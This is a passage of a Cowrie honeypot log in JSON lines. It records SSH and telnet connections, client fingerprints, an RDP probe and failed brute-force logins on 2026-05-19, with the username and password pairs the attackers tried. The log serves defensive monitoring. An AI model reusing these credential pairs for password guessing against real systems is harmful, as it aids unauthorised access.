ha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:55.219515Z","src_ip":"103.24.63.85","session":"63e00634b763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:55.894988Z","src_ip":"103.24.63.85","session":"63e00634b763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48176,"dst_ip":"10.17.0.5","dst_port":22,"session":"a668441aa402","protocol":"ssh","message":"New connection: 51.250.105.222:48176 (10.17.0.5:22) [session: a668441aa402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.433554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.439530Z","src_ip":"51.250.105.222","session":"a668441aa402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52152,"dst_ip":"10.17.0.5","dst_port":23,"session":"817027160b2b","protocol":"telnet","message":"New connection: 192.119.13.58:52152 (10.17.0.5:23) [session: 817027160b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.445113Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.565413Z","src_ip":"51.250.105.222","session":"a668441aa402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58497,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e9a9df22c63","protocol":"ssh","message":"New connection: 152.42.212.128:58497 (159.203.135.109:22) [session: 8e9a9df22c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.761711Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.766603Z","src_ip":"152.42.212.128","session":"8e9a9df22c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.772934Z","src_ip":"152.42.212.128","session":"8e9a9df22c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:56.943305Z","src_ip":"51.250.105.222","session":"a668441aa402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:57.375389Z","src_ip":"103.24.63.85","session":"63e00634b763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:58:58.076880Z","src_ip":"51.250.105.222","session":"a668441aa402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.90682411193848,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:03.465417Z","src_ip":"192.119.13.58","session":"c1b799b76c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.87459850311279,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:05.397108Z","src_ip":"192.119.13.58","session":"a342d8163c96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37094,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e84db219dc","protocol":"ssh","message":"New connection: 103.82.132.16:37094 (10.17.0.5:22) [session: 22e84db219dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:08.024838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:08.030883Z","src_ip":"103.82.132.16","session":"22e84db219dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:08.301196Z","src_ip":"103.82.132.16","session":"22e84db219dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u8i9o0p","message":"login attempt [root/1q2w3e4r5t6y7u8i9o0p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:09.079860Z","src_ip":"103.82.132.16","session":"22e84db219dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:10.341221Z","src_ip":"103.82.132.16","session":"22e84db219dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.275450229644775,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:11.090278Z","src_ip":"192.119.13.58","session":"658e485e88a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57667,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d66ce5198c7","protocol":"ssh","message":"New connection: 167.172.81.52:57667 (159.203.135.109:22) [session: 2d66ce5198c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:18.626596Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:18.669576Z","src_ip":"167.172.81.52","session":"2d66ce5198c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:18.675012Z","src_ip":"167.172.81.52","session":"2d66ce5198c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.715954303741455,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:30.279913Z","src_ip":"192.119.13.58","session":"e064cf16a942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":54738,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a239fd40f0","protocol":"ssh","message":"New connection: 77.94.47.83:54738 (10.17.0.5:22) [session: 43a239fd40f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:30.557294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:30.562502Z","src_ip":"77.94.47.83","session":"43a239fd40f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:30.681117Z","src_ip":"77.94.47.83","session":"43a239fd40f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrov","message":"login attempt [root/petrov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:31.039932Z","src_ip":"77.94.47.83","session":"43a239fd40f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:32.163244Z","src_ip":"77.94.47.83","session":"43a239fd40f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":43488,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2e66aef87bf","protocol":"ssh","message":"New connection: 185.236.22.41:43488 (159.203.135.109:22) [session: b2e66aef87bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:33.763735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:33.775425Z","src_ip":"185.236.22.41","session":"b2e66aef87bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:33.888539Z","src_ip":"185.236.22.41","session":"b2e66aef87bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rosebud","message":"login attempt [root/rosebud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:34.414978Z","src_ip":"185.236.22.41","session":"b2e66aef87bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:35.550348Z","src_ip":"185.236.22.41","session":"b2e66aef87bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39006,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5f6792b48d","protocol":"telnet","message":"New connection: 192.119.13.58:39006 (10.17.0.5:23) [session: 5d5f6792b48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:36.105256Z"}
{"eventid":"cowrie.session.closed","duration":43.93591809272766,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:36.661326Z","src_ip":"192.119.13.58","session":"c4862e9bd896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43832,"dst_ip":"10.17.0.5","dst_port":23,"session":"267bc8df9208","protocol":"telnet","message":"New connection: 192.119.13.58:43832 (10.17.0.5:23) [session: 267bc8df9208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:37.439309Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":51021,"dst_ip":"159.203.135.109","dst_port":22,"session":"319bea611c6a","protocol":"ssh","message":"New connection: 103.24.63.85:51021 (159.203.135.109:22) [session: 319bea611c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:40.068354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:40.072952Z","src_ip":"103.24.63.85","session":"319bea611c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:40.264853Z","src_ip":"103.24.63.85","session":"319bea611c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:40.839645Z","src_ip":"103.24.63.85","session":"319bea611c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:42.038514Z","src_ip":"103.24.63.85","session":"319bea611c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39210,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b58715c6242","protocol":"telnet","message":"New connection: 192.119.13.58:39210 (10.17.0.5:23) [session: 7b58715c6242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:43.791770Z"}
{"eventid":"cowrie.session.closed","duration":50.943074226379395,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:47.388114Z","src_ip":"192.119.13.58","session":"817027160b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":42882,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1cdeff05612","protocol":"ssh","message":"New connection: 14.224.227.189:42882 (159.203.135.109:22) [session: b1cdeff05612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:52.128718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:52.133354Z","src_ip":"14.224.227.189","session":"b1cdeff05612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:52.376641Z","src_ip":"14.224.227.189","session":"b1cdeff05612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456.","message":"login attempt [root/Root123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:53.363379Z","src_ip":"14.224.227.189","session":"b1cdeff05612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:54.607030Z","src_ip":"14.224.227.189","session":"b1cdeff05612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56336,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb1da8f452b","protocol":"telnet","message":"New connection: 192.119.13.58:56336 (10.17.0.5:23) [session: ccb1da8f452b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:59:58.271712Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":52850,"dst_ip":"159.203.135.109","dst_port":22,"session":"20e53620a39c","protocol":"ssh","message":"New connection: 43.156.97.164:52850 (159.203.135.109:22) [session: 20e53620a39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:04.792697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:00:04.805584Z","src_ip":"43.156.97.164","session":"20e53620a39c","protocol":"ssh"}
